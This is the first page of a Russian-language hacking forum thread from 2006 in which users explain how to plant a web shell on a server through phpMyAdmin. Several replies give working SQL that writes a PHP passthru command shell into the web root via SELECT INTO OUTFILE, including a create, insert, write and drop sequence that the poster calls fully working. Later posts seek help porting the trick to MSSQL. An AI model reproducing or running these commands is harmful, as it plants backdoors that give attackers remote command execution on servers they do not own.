Форум АНТИЧАТ

Страница 1 из 3

Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - PhpMyAdmin (https://forum.antichat.xyz/showthread.php?t=15870)

dimauz

14.03.2006 18:13

PhpMyAdmin

Возможно ли закачать на сервер удаленный веб шелл имея доступ к phpmyadmin ?

GreenBear

14.03.2006 18:21

UPDATE table SET hz='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT hzINTO OUTFILE '/home/user/www/shell.php' FROM table where id=1;

dimauz

14.03.2006 19:44

Цитата:

Сообщение от Green_Bear

UPDATE table SET hz='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT hzINTO OUTFILE '/home/user/www/shell.php' FROM table where id=1;

Не получается ... возможно я что-то делаю не так :(

GreenBear

14.03.2006 20:10

как это не работает?
попробуй так... раз там понять не можеш.

Код:

CREATE TABLE `shell` (s TEXT);

INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');

SELECT `s` INTO OUTFILE '/home/user/www/shell.php' FROM `shell`;

DROP TABLE `shell`;

работает на 100% =)
/home/user/www/shell.php
замени на свой путь...

Azazel

14.03.2006 20:16

UPDATE `существующая таблица` SET `существующий параметер`='<? passthru("$cmd"); ?>'WHERE id=1;
SELECT `существующая таблица`, `существующий параметер` into OUTFILE '/home/user/полный серверный путь/shell.php' FROM существующая таблица where id=1;

Попробовал объяснить подробней.

Советую почитать как правильно задавать вопросы в технических форумах.

KEZ	14.03.2006 20:20

Цитата:

Не получается ... возможно я что-то делаю не так

Дело в том что нужно не втупую переписать код что тебе дал грин_бир а хотябы немного подумать, сменить названия директорий, к примеру..мдаа

dimauz

14.03.2006 20:28

Спасибо за помощь. Уже разобрался :cool:

c411k

16.03.2006 15:10

SELECT '<? passthru("$cmd"); ?>' into OUTFILE "/home/hosting/wwwdata/sm.php";

Ponchik

04.04.2006 10:46

Порылся по форуму, нащёл эту тему... Я хочу замутить такую штуку в MSSQL 2000 При любом расклаже выдаёт это Line 2: Incorrect syntax near 'C:/test_shell.php'

~FoX~

24.01.2007 10:51

разжуйте для noooба плз

Время: 16:36

Страница 1 из 3

Показывать 40 сообщений этой темы на одной странице